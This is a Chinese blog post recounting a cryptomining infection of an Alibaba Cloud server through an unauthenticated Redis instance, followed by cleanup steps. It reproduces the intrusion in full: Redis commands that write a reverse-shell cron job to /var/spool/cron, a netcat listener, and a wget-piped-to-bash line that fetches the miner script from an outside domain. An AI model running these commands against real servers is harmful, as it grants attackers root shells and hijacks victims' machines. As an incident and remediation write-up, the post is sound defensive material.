什么鬼,开了redis之后我的阿里云服务器被植入了挖矿病毒!

弓背霞明剑照霜,秋风走马出咸阳。这篇文章主要讲述什么鬼,开了redis之后我的阿里云服务器被植入了挖矿病毒!相关的知识,希望能为你提供帮助。
        昨天晚上在阿里云服务器上安装了redis服务,因为是测试环境没有给redis设置密码,其实也有侥幸心里,认为redis就算被其它设备连接也无所谓,因为没有数据在上面,谁知道问题这么大...


        昨天晚上收到阿里云短信,说服务器被有危险指令在执行,我以为是其它的小伙伴在搞什么东西,就没理,结果早上看了以下主机cpu使用率100%,赶紧打开了阿里云控制台查看昨天的信息。

        查看安全告警:



        看到一串复杂的域名就知道,完了,怕不是被当成矿机了.....


??0x01 入侵复现??
        这里我复现一下攻击者是如何打入我的服务器的,这里的方法不一定就是攻击者使用的,因为他把我的日志删了,我也不知道它怎么操作的。。。
        环境也特别简单,如下:
       
        攻击设备进行redis连接:

redis-cli -h 192.168.122.182

        攻击设备插入恶意代码(刚学redis,可能下面的注释不一定对):
// 添加一个key-val类型数据,
192.168.122.182:6379> set x "\\n* * * * * bash -i > & /dev/tcp/192.168.122.1/3667 0> & 1\\n"
OK
// 将上面的数据保存到/var/spool/cron下
192.168.122.182:6379> config set dir /var/spool/cron/
OK
// 将保存的文件名设置为root
192.168.122.182:6379> config set dbfilename root
OK
// 保存
192.168.122.182:6379> save
OK

        攻击设备监听端口,等待反弹shell
nc -lv 3667

        获取到反弹的shell,因为我是用root用户启动的redis,所以。。。
        执行病毒文件:
wget -q -O- http://oracle.zzhreceive.top/b2f628/b.sh | bash

?0x02  病毒复现?
        这里没有复现到,不知道还有啥讲究的....
        但是根据上面的b.sh脚本分析和处理过程,可以按照以下方式进行修复:
    1、关闭redis服务
        2、删除可疑的ssh-key
// 病毒文件会把authorized_keys文件加锁,所以我们要先解锁
cd ~/.ssh/
chattr -ia authorized_keys*
// 编辑authorized_keys文件,删除可疑的key,最简单的就是直接吧authorized_keys文件删除掉
vi authorized_keys

        3、删除三个进程
rm -rf /var/tmp/.copydie
systemctl stop kswapd0
systemctl stop scan
systemctl stop mass
cd /etc/systemd/system
rm -f kswapd0.service
rm -f scan.service
rm -f mass.service
systemctl daemon-reload

?
        4、最好重启一下主机
reboot

?0x02  病毒复现?
        CPU使用率飙到100%

        大量的SYN_SENT连接
[root@redis-server opt]# netstat -natultp| grep SYN_SENT | wc -l
1024

            通过脚本分析,可以看到病毒脚本对服务器做了免密操作
cd ~/.ssh/
cat authorized_keys*


        要将这个秘钥删除掉,避免攻击者能直接登录我们的设备,但是删除的时候提示?Operation not permitted?:
[root@redis-server .ssh]# echo > authorized_keys
bash: authorized_keys: Operation not permitted

        使用?lsattr?和?chattr?查看和修改文件属性:
[root@redis-server .ssh]# lsattr authorized_keys*
-----a---------- authorized_keys
-----a---------- authorized_keys2
[root@redis-server .ssh]# chattr -a authorized_keys*
[root@redis-server .ssh]# echo > authorized_keys
[root@redis-server .ssh]# echo > authorized_keys2

        通过脚本分析,发现病毒文件在/var/tmp/.copydie下放了一个[kswapd0]进程文件,将它删除掉
[root@redis-server ~]# rm -rf /var/tmp/.copydie/

        关闭进程,并删除进程文件
[root@redis-server ~]# systemctl stop kswapd0
[root@redis-server ~]# rm -f /etc/systemd/system/kswapd0.service
[root@redis-server ~]# systemctl daemon-reload

        此时可以看到cpu利用率已经下来一点了

        再仔细看脚本,还有scan和mass服务需要删除



        删除文件并停止服务:
[root@redis-server ~]# rm -f/usr/share/[scan] /usr/local/bin/pnscan /usr/local/bin/pnscan /usr/libexec/urlgrabber-ext-down
[root@redis-server ~]# systemctl stop scan
[root@redis-server ~]# systemctl stop mass
[root@redis-server ~]# rm -f /etc/systemd/system/scan.service /etc/systemd/system/mass.service
[root@redis-server ~]# systemctl daemon-reload

        此时可以看到cpu使用率已经恢复的差不多了

        查看链接,发现还有一个异常链接...,重启也没用

        实在是没办法了,直接安排上安全组



??0x03 我怂了??
        虽然是测试环境,但我还是怂了,立马安排上阿里云的安全插件。。。

        很有一件很狗血的事,我的阿里云和腾讯云做了免密登录,结果腾讯云的主机也中招了,但是腾讯云没有检测到,不知道是安全检测有问题还是我之前登录过,所以腾讯云认为这是常规操作,搞不懂....
------
结束


【什么鬼,开了redis之后我的阿里云服务器被植入了挖矿病毒!】


    推荐阅读